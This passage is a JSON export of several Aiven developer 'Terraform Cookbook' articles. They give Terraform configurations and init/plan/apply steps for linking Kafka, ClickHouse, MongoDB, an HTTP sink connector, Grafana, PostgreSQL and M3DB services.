you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nAt first, ``aiven_pg``, ``aiven_m3db``, and ``aiven_grafana`` resources are created. Once these three services are running, the resources that bridge them ``aiven_service_integration`` are created.\nNote the different ``integration_type`` used for each of these service integrations. \n\n## More resources\n\nYou might find these related resources useful too:\n\n- [Configuration options for Aiven for Grafana®](https://aiven.io/docs/products/grafana/reference/advanced-params.html)\n- [Configuration options for Aiven for PostgreSQL®](https://aiven.io/docs/products/postgresql/reference/list-of-advanced-params.html)\n- [Configuration options for Aiven for M3DB](https://aiven.io/docs/products/m3db/reference/advanced-params.html)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)\n- [Metrics and graphs with M3 and Grafana®](https://aiven.io/blog/metrics-and-graphs-with-m3-and-grafana)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-28T13:34:50.655Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"87da2b808042","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-be01af6b8e482e512883b2635dd78202425237f1-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/grafana-visualize-postgresql"},"subtitle":"Use Aiven for Grafana® to visualize metrics for Aiven for PostgreSQL® or another PostgreSQL® service. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"beb9cd3885ea","_ref":"a40792b4-c5eb-4d81-9452-9a4bd322d700","_type":"tag"},{"_key":"76cf4c230d80","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"2c87c1484b72","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Deploy a Grafana® service to visualize PostgreSQL® metrics"}
{"__i18n_lang":"en","_createdAt":"2023-08-22T07:57:28Z","_id":"55e10e8d-4c91-4fe0-97c4-f92b09db8840","_rev":"VeNKqGNmt13PzvGhqsSesG","_type":"devArticle","_updatedAt":"2024-01-29T15:45:42Z","body":"The [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) is a great choice for provisioning an [Aiven for Apache Kafka®](https://aiven.io/kafka) cluster with Kafka Connect enabled and the [MongoDB source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/mongodb-poll-source-connector.html) configured.\n\nLet's check out the following diagram to understand the setup.\n\n:::mermaid\n\n   flowchart LR\n      id1[(MongoDB Database)]\n      subgraph Kafka Connect\n      MongoDB-Source-Connector\n      end\n      subgraph Apache Kafka\n      Topic\n      end\n      id1 ---\u003e|polls changes| MongoDB-Source-Connector --\u003e|publishes changes| Topic\n\n:::\n\n## Describe the setup\n\nHere is the Terraform recipe that will spin up an Aiven for Apache Kafka service with Kafka Connect enabled. This recipe will also create and configure a MongoDB source connector.\n\n::alert[Aiven provides the option to run Kafka Connect on the same nodes as your Kafka cluster, sharing the resources. This is a low-cost way to get started with Kafka Connect. A standalone Aiven for Apache Kafka® Connect allows you to scale independently, offers more CPU time and memory for the Kafka Connect service and reduces load on nodes, making the cluster more stable.]{title=\"Warning\"} \n\nBefore you begin, you will require a MongoDB database and the related database connection information. You'll also need to make sure that the database is reachable from the public internet (unless it's part of a paired VPC).\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name``, ``api_token``, ``service_name_prefix``, and ``mongodb_connection_uri``.\n\n## Common files\n\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n\nvariable \"service_name_prefix\" {\n  description = \"A string to prepend to the service name\"\n  type        = string\n}\n\nvariable \"mongodb_connection_uri\" {\n  description = \"MongoDB connection URI used to connect to your MongoDB deployment\"\n  type        = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token        = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name           = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\nservice_name_prefix    = \"\u003cYOUR-CHOICE-OF-A-SERVICE-NAME-PREFIX\u003e\" \nmongodb_connection_uri = \"\u003cYOUR-MONGODB-SERVICE-CONNECTION-URI\u003e\"\n```\n\n## Services.tf file\n\n```toml\nresource \"aiven_kafka\" \"demo-kafka\" {\n  project                 = var.project_name\n  cloud_name              = \"google-northamerica-northeast1\"\n  plan                    = \"business-4\"\n  service_name            = join(\"-\", [var.service_name_prefix, \"kafka\"])\n  maintenance_window_dow  = \"sunday\"\n  maintenance_window_time = \"10:00:00\"\n  kafka_user_config {\n    kafka_connect = true\n    kafka_rest    = true\n    kafka_version = \"3.4\"\n    kafka {\n      auto_create_topics_enable = true\n    }\n  }\n}\n\nresource \"aiven_kafka_connector\" \"mongodb-source-connector\" {\n  project        = var.project_name\n  service_name   = aiven_kafka.demo-kafka.service_name\n  connector_name = \"mongodb-source-connector\"\n  config = {\n    \"name\"                       = \"mongodb-source-connector\"\n    \"connector.class\"            = \"com.mongodb.kafka.connect.MongoSourceConnector\"\n    \"connection.uri\"             = var.mongodb_connection_uri\n    \"database\"                   = \"sample_airbnb\"\n    \"collection\"                 = \"listingsAndReviews\"\n    \"copy.existing\"              = \"true\"\n    \"poll.await.time.ms\"         = \"1000\"\n    \"output.format.value\"        = \"json\"\n    \"output.format.key\"          = \"json\"\n    \"publish.full.document.only\" = \"true\"\n  }\n}\n```\n\n## Execute the files \n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\n- Since you have ``kafka_connect`` set to ``true`` under the ``kafka_user_config``, you don't need a standalone Aiven for Apache Kafka Connect service.\n- The ``auto_create_topics_enable`` flag is enabled, therefore the connector is able to create the topic on the Apache Kafka cluster by pushing the first message, without having to create the topic first.\n- The automatically created topic name will be the concatenation of ``database`` and ``collection`` parameters - ``sample_airbnb.listingsAndReviews`` in this example.\n- ``poll.await.time.ms`` can be configured to set the amount of wait time before the MongoDB source connector pulls the new changes from a collection.\n- ``publish.full.document.only``, when set to ``true``, only publishes the actual document rather than the full change stream document. The default value of the parameter is ``false``.\n\n## More resources\n\nKeep in mind that some parameters and configurations will vary for your case. A reference to some of the advanced Apache Kafka configurations and other related resources:\n\n- [List of advanced Apache Kafka configurations](https://aiven.io/docs/products/kafka/kafka-connect/reference/advanced-params.html)\n- [Create a MongoDB source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/mongodb-poll-source-connector.html)\n- [List of available Apache Kafka® Connect connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-29T07:57:09.857Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"5f3b772c1cd4","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f2771b9954ef0aef56fc48a9a90d09971d6cb94d-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/apache-kafka-with-mongodb"},"subtitle":"Use MongoDB as a source for Apache Kafka® topics and deploy the integration with both using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"300dea9cce88","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"72efecccdfa2","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Apache Kafka® with MongoDB source connector"}
{"__i18n_lang":"en","_createdAt":"2023-08-25T09:51:41Z","_id":"a21b32f0-aaab-4720-8976-c439d5a3f4c0","_rev":"VeNKqGNmt13PzvGhqsStnY","_type":"devArticle","_updatedAt":"2024-01-29T15:48:43Z","body":"This article shows the Terraform configuration for setting up an [Aiven for Apache Kafka®](https://aiven.io/kafka) service, configuring a topic, and adding a Kafka Connector to send the data from the topic over HTTP using the [HTTP sink connector]. This is a great way to use webhooks or HTTP requests as a generic connector to send the data to\nanother platform.\n\nThe setup needs the Aiven for Apache Kafka service and the Kafka Connect\nservice, plus a service integration to connect the two. The overall setup looks something like the diagram below:\n\n\n:::mermaid\n\n    flowchart LR\n        subgraph k1 [Kafka cluster]\n        topic[Topic]\n        end\n        sikafka{{Service Integration}}\n        subgraph kc1 [Kafka Connect]\n        connector[HTTP sink connector]\n        end\n        webhook([HTTP destination])\n        topic--\u003esikafka--\u003econnector--\u003ewebhook\n:::\n\nThe Aiven for Apache Kafka and Kafka Connect services are connected with a service integration. The Kafka Connect service has the HTTP sink configured and this connects the topic to the HTTP destination. The HTTP destination is an external location defined by ``http.url`` in the HTTP sink connector\nconfiguration.\n\n## Define the setup\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to\nlearn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and\n``api_token``.\n\n\n## Common files \n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nThe sample Terraform file to create and connect all the services is shown below. This file uses sample data; comments are added to indicate settings that are likely to need changing to suit your use case.\n\n``services.tf`` file:\n\n```toml\n# Kafka service\nresource \"aiven_kafka\" \"project_kafka\" {\n  project                 = var.project_name # from variables.tf and supplied at run time\n  cloud_name              = \"google-europe-west1\"\n  plan                    = \"business-4\"\n  service_name            = \"my-kafka-demo\"\n  kafka_user_config {\n    kafka_version = \"3.2\"\n    kafka_rest      = true\n    kafka {\n      auto_create_topics_enable = true\n    }\n  }\n}\n\n# Kafka topic, in the cluster defined above\nresource \"aiven_kafka_topic\" \"user_activity\" {\n  project      = var.project_name\n  service_name = aiven_kafka.project_kafka.service_name\n  topic_name   = \"user_activity\"\n  partitions   = 3\n  replication  = 2\n}\n\n# Kafka Connect service\nresource \"aiven_kafka_connect\" \"data_connector\" {\n  project                 = var.project_name\n  cloud_name              = \"google-europe-west1\"\n  plan                    = \"business-4\"\n  service_name            = \"my-kafka-demo-connector\"\n}\n\n# Integration between kafka and kafka connect\nresource \"aiven_service_integration\" \"kafka_to_data_connector\" {\n  project                  = var.project_name\n  integration_type         = \"kafka_connect\"\n  source_service_name      = aiven_kafka.project_kafka.service_name\n  destination_service_name = aiven_kafka_connect.data_connector.service_name\n}\n\n# Kafka connector: this one is an HTTP sink\nresource \"aiven_kafka_connector\" \"kafka_webhook_sink\" {\n  project        = var.project_name\n  service_name   = aiven_kafka_connect.data_connector.service_name\n  connector_name = \"my-http-sink\"\n  config = {\n    # Which topic (or topics) should the data come from?\n    \"topics\"                         = aiven_kafka_topic.user_activity.topic_name\n    \"connector.class\"                = \"io.aiven.kafka.connect.http.HttpSinkConnector\"\n    \"name\"                           = \"my-http-sink\"\n    # Edit where the HTTP data should be sent\n    \"http.url\"                       = \"https://example.com/endpoint\"\n    \"http.authorization.type\"        = \"none\"\n    \"http.headers.content.type\"      = \"application/json\"\n    \"key.converter\"                  = \"org.apache.kafka.connect.storage.StringConverter\"\n    \"value.converter\"                = \"org.apache.kafka.connect.storage.StringConverter\"\n  }\n\n  # Make sure that the connect service is ready before creating this\n  depends_on = [\n    aiven_kafka_connect.data_connector,\n    aiven_service_integration.kafka_to_data_connector\n  ]\n}\n```\n\nThis example creates two Aiven services: one Aiven for Apache Kafka service, and a Kafka Connect service. It adds a service integration so that the the connectors can access the data in the Kafka cluster. There is a topic defined ``user_activity``, and this is referred to by the Kafka connector configuration as the source of the data to send over HTTP. The connector also defines where the HTTP requests should be sent to, using the ``http.url`` setting.\n\nTo avoid any race conditions in this setup, the ``depends_on`` clause makes sure that the connector will only be configured when both the Kafka Connect service and its integration to Kafka are in place.\n\n## Execute the files \n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```bash\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n           \nTry out this recipe by defining an HTTP endpoint where you can receive and acknowledge HTTP requests in the connector configuration. Then produce some data to the ``user_activity`` topic (any JSON data is fine), and observe that this is then sent over HTTP.\n\nYou could use this setup for relaying payloads to platforms that don't have specific connectors available. The HTTP sink connector is also an excellent tool for integrating with webhook-ready platforms like functions-as-a-service ([Amazon Lambda](https://aws.amazon.com/lambda/), [Cloudflare\nWorkers](https://workers.cloudflare.com/) or [Zapier](https://zapier.com/).\n\n\n## Further resources\n\nHere are some resources with additional information, examples and documentation for working with the technologies in this recipe:\n\n- [Configuration options for Kafka]\n- [HTTP sink documentation and examples]\n- [Webhook data from Apache Kafka®️ to the world: using the HTTP sink connector](https://aiven.io/developer/kafka-webhooks-http-sink)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-09-01T09:51:38.951Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"bfa033e687c3","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-25T07:49:18.951Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1007d93722cce4ccff54737915530cdbf284f599-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-with-http-sink"},"subtitle":"Use an HTTP sink connector to feed data into Apache Kafka® and deploy it using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"d2700d8d9f7f","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"249c89177c50","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Configure Apache Kafka® with topics and an HTTP sink connector using Terraform"}
{"__i18n_lang":"en","_createdAt":"2023-08-23T09:13:28Z","_id":"75e9857b-65bd-4036-9bab-257f0ddbfb8c","_rev":"VeNKqGNmt13PzvGhqsShEs","_type":"devArticle","_updatedAt":"2024-01-29T15:45:51Z","body":"This article shows by way of example how to integrate an [Aiven for Apache Kafka®](https://aiven.io/kafka) service with a [Aiven for ClickHouse®](https://aiven.io/clickhouse) database using [Terraform provider for Aiven](https://registry.terraform.io/providers/aiven/aiven/latest/docs). An Apache Kafka® source topic is used as a data source and Aiven for ClickHouse® is used to filter or transform the raw data with a materialized view before writing it to a regular table.\n\n\nFirst, check out how sensor data can look like for a better understanding of this recipe and the ``clickhouse_kafka_user_config`` Terraform block used in this article.\n\n```json\n{\n\"sensor_id\": 10000001,\n\"ts\": \"2022-12-01T10:08:24.446369\",\n\"key\": \"cpu_usage\",\n\"value\": 96\n}\n```\n\n## Describe the setup \n\n:::mermaid\n  flowchart LR\n  id1(iot_measurements_topic)\n  id2[(iot_measurements)]\n  id3(edge_measurements_raw_table)\n  id4(cpu_high_usage_table)\n  subgraph Aiven for Apache Kafka\n  id1\n  end\n  subgraph Aiven for ClickHouse\n    id2\n    subgraph iot_measurements DB\n      id3--\u003e|Filter|id4\n    end\n  end\n  id1--\u003e|Service integration|id2\n:::\n\nImagine that you've been collecting IoT measurements from thousands of sensors and these metrics are being populated in an Apache Kafka topic called ``iot_measurements``. Now, you'd like to set up an Aiven for ClickHouse database and write filtered messages into table ``cpu_high_usage``.\n\nThis recipe calls for the following:\n\n1. Set up an Aiven for ClickHouse database for writing and processing raw data. [Sign up for an Aiven account]( https://console.aiven.io/signup) to do so.\n2. Insert the measurements data from Apache Kafka topic ``iot_measurements`` into the Aiven for ClickHouse database.\n3. Filter the data and save the output to the new ``cpu_high_usage`` table.\n\n\n## Common files \n\nNavigate to a new folder and add the following files:\n\n1. ``provider.tf`` file\n\n```toml\nterraform {\n   required_providers {\n   aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n   }\n   }\n}\n\nprovider \"aiven\" {\n   api_token = var.aiven_api_token\n}\n```\n\nYou can set environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property so that you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\n``variables.tf`` file\n\nUse it for defining the variables to avoid including sensitive information in source control. The ``variables.tf`` file defines the API token, the project name, and the prefix for the service name.\n\n```toml\nvariable \"aiven_api_token\" {\n   description = \"Aiven console API token\"\n   type        = string\n}\n\nvariable \"project_name\" {\n   description = \"Aiven console project name\"\n   type        = string\n}\n```\n\n``*.tfvars`` file\n\nUse it to indicate the actual values of the variables so that they can be passed (with the ``-var-file=`` flag) to Terraform during runtime and excluded later on. Configure the ``var-values.tfvars`` file as follows:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file \n\nThe following Terraform script initializes both Aiven for Apache Kafka and Aiven for ClickHouse services, creates the service integration, the source Apache Kafka topic, and the Aiven for ClickHouse database.\n\n```toml\nresource \"aiven_kafka\" \"kafka\" {\n   project                 = var.project_name\n   cloud_name              = \"google-europe-west1\"\n   plan                    = \"business-4\"\n   service_name            = \"kafka-gcp-eu\"\n   maintenance_window_dow  = \"monday\"\n   maintenance_window_time = \"10:00:00\"\n}\n\nresource \"aiven_kafka_topic\" \"source\" {\n   project      = var.project_name\n   service_name = aiven_kafka.kafka.service_name\n   partitions   = 50\n   replication  = 3\n   topic_name   = \"iot_measurements\"\n}\n\nresource \"aiven_clickhouse\" \"clickhouse\" {\n   project                 = var.project_name\n   cloud_name              = \"google-europe-west1\"\n   plan                    = \"startup-8\"\n   service_name            = \"clickhouse-gcp-eu\"\n   maintenance_window_dow  = \"monday\"\n   maintenance_window_time = \"10:00:00\"\n}\n\nresource \"aiven_service_integration\" \"clickhouse_kafka_source\" {\n   project                  = var.project_name\n   integration_type         = \"clickhouse_kafka\"\n   source_service_name      = aiven_kafka.kafka.service_name\n   destination_service_name = aiven_clickhouse.clickhouse.service_name\n   clickhouse_kafka_user_config {\n   tables {\n      name        = \"edge_measurements_raw\"\n      group_name  = \"clickhouse-ingestion\"\n      data_format = \"JSONEachRow\"\n      columns {\n         name = \"sensor_id\"\n         type = \"UInt64\"\n      }\n      columns {\n         name = \"ts\"\n         type = \"DateTime64(6)\"\n      }\n      columns {\n         name = \"key\"\n         type = \"LowCardinality(String)\"\n      }\n      columns {\n         name = \"value\"\n         type = \"Float64\"\n      }\n      topics {\n         name = aiven_kafka_topic.source.topic_name\n      }\n   }\n   }\n}\n\nresource \"aiven_clickhouse_database\" \"measurements\" {\n   project                 = var.project_name\n   service_name            = aiven_clickhouse.clickhouse.service_name\n   name                    = \"iot_measurements\"\n}\n```\n\n## Execute the files \n\nRun the following command:\n\n```bash\nterraform init\n```\n  \nThe ``init`` command performs initialization operations to prepare the working directory for use with Terraform. For this recipe, ``init`` automatically finds, downloads, and installs the necessary Aiven Terraform Provider plugins.\n\nRun the following command:\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nThe ``plan`` command creates an execution plan and shows the resources to be created (or modified). This command doesn't actually create any resources but gives you a heads-up on what's going to happen next.\n\nIf the output of ``terraform plan`` looks as expected, run the following command:\n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n  \nThe ``terraform apply`` command creates (or modifies) your infrastructure resources.\n\n## Check out the results\n\n* Resource ``aiven_clickhouse`` creates an Aiven for ClickHouse service with the project name, the cloud name (provider, region, zone), the Aiven service plan, and the service name as specified in the ``services.tf`` file.\n* Resource ``aiven_clickhouse_database`` creates a database that can be used to further transform the ingested data and perform analytics on it.\n* Resource ``aiven_kafka`` creates an Aiven for Apache Kafka cluster.\n* Resource ``aiven_kafka_topic`` creates Apache Kafka topic ``iot_measurements``.\n* Resource ``aiven_service_integration`` creates the integration between the Aiven for Apache Kafka and the Aiven for ClickHouse service.\n\nThe service integration creates a database to insert the ingested data to. In this instance, the database name is ``service_kafka-gcp-eu`` (it depends on the Kafka service name) and the table name is ``edge_measurements_raw`` as specified in the code.\n\n## Learn more\n\nWhen you use this recipe, parameters and configurations will vary from those used in this article. For Aiven for Apache Kafka and Aiven for ClickHouse advanced parameters, a related blog, and instructions on how to get started with Aiven Terraform Provider, see [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html).\n\n* You can [create databases and tables](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka.html#update-apache-kafka-integration-settings) so that you can [read and store your data](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka.html#read-and-store-data).\n* You can also [create a materialized view](https://aiven.io/docs/products/clickhouse/howto/materialized-views.html) to store the Kafka® messages in Aiven for ClickHouse.\n* [How to send and receive application data from Apache Kafka® using Apache Avro™](https://aiven.io/developer/how-to-send-and-receive-application-data-from-apache-kafka)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-30T09:09:04.401Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"4c2712ce23ea","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-23T07:48:51.992Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9c0543162ffd6af1c019f6e8937c6770b21318e4-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-source-for-clickhouse"},"subtitle":"Deploy an Aiven for Apache Kafka® node and integrate it as a data source with Aiven for ClickHouse® using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"9b6cad2a1b3c","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"e127fafb52fe","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"901e5faf2d4a","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"}],"title":"Aiven for Apache Kafka® as a source for Aiven for ClickHouse®"}
{"__i18n_lang":"en","_createdAt":"2023-08-22T09:31:15Z","_id":"7d515c07-bc4f-4993-80d8-24f7234814b5","_rev":"VeNKqGNmt13PzvGhqsSo7g","_type":"devArticle","_updatedAt":"2024-01-29T15:47:50Z","body":"[Aiven for M3DB](https://aiven.io/docs/products/m3db) is a powerful time-series database that can be used when handling very large volumes of metrics and scalability is a concern. [Aiven for M3 Aggregator](https://aiven.io/docs/products/m3db/concepts/m3-components.html) can store your data at various resolutions for different workloads at scale. \n\nTogether, they are a perfect choice to aggregate, store, and query large time-series data like internet of things (IoT) sensor readings. \n\nThis example shows how to use the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) to create an Aiven for M3 service, an Aiven for M3 Aggregator service, and the related service integration programmatically. \n\n:::mermaid\n\n  graph LR\n      M3[(M3DB + M3 Coordinator)]\n      M3Agg[M3 Aggregator]\n      M3 -.-\u003e M3Agg\n\n:::\n\nIn the above diagram, the M3 service contains both M3DB and M3 Coordinator. The service integration between M3DB + M3 Coordinator and M3 Aggregator brings unaggregated metrics from M3 Coordinator to M3 Aggregator. \n\nWhile you can perform aggregations without an M3 Aggregator node, a dedicated metrics aggregator can help in cases when the downsampling workload is slowing down the ingestion of metrics by the main M3DB.\nFor example, to aggregate all IoT metrics from the last two months into 10-minute points. \n\nThe following Terraform recipe will create an Aiven for M3 service, an Aiven for M3 Aggregator service, and the related service integration.\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name``, ``api_token``, and ``service_name_prefix``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n\nvariable \"service_name_prefix\" {\n  description = \"A string to prepend to the service name\"\n  type        = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token        = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name           = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\nservice_name_prefix    = \"\u003cYOUR-CHOICE-OF-A-SERVICE-NAME-PREFIX\u003e\" \n```\n\n## Services.tf file \n\n``services.tf`` file:\n\n```toml\nresource \"aiven_m3db\" \"demo-m3db\" {\n  project      = var.project_name\n  cloud_name   = \"google-northamerica-northeast1\"\n  plan         = \"business-8\"\n  service_name = join(\"-\", [var.service_name_prefix, \"m3db\"])\n\n  m3db_user_config {\n    m3db_version = 1.5\n\n    namespaces {\n      name = \"m3_default_unaggregated_ns\"\n      type = \"unaggregated\"\n      options {\n        retention_options {\n          retention_period_duration = \"2h\"\n        }\n      }\n    }\n    namespaces {\n      name       = \"m3_lowRes_aggregated_ns\"\n      type       = \"aggregated\"\n      resolution = \"10m\"\n      options {\n        retention_options {\n          retention_period_duration = \"6d\"\n        }\n      }\n    }\n    namespaces {\n      name       = \"m3_medRes_aggregated_ns\"\n      type       = \"aggregated\"\n      resolution = \"2m\"\n      options {\n        retention_options {\n          retention_period_duration = \"18h\"\n        }\n      }\n    }\n    namespaces {\n      name       = \"m3_highRes_aggregated_ns\"\n      type       = \"aggregated\"\n      resolution = \"10s\"\n      options {\n        retention_options {\n          retention_period_duration = \"4h\"\n        }\n      }\n    }\n  }\n}\n\n\n// Setting up aggregation\n\nresource \"aiven_m3aggregator\" \"demo-m3a\" {\n  project      = var.project_name\n  cloud_name   = \"google-northamerica-northeast1\"\n  plan         = \"business-8\"\n  service_name = join(\"-\", [var.service_name_prefix, \"m3a\"])\n\n  m3aggregator_user_config {\n    m3aggregator_version = 1.5\n  }\n}\n\nresource \"aiven_service_integration\" \"int-m3db-aggr\" 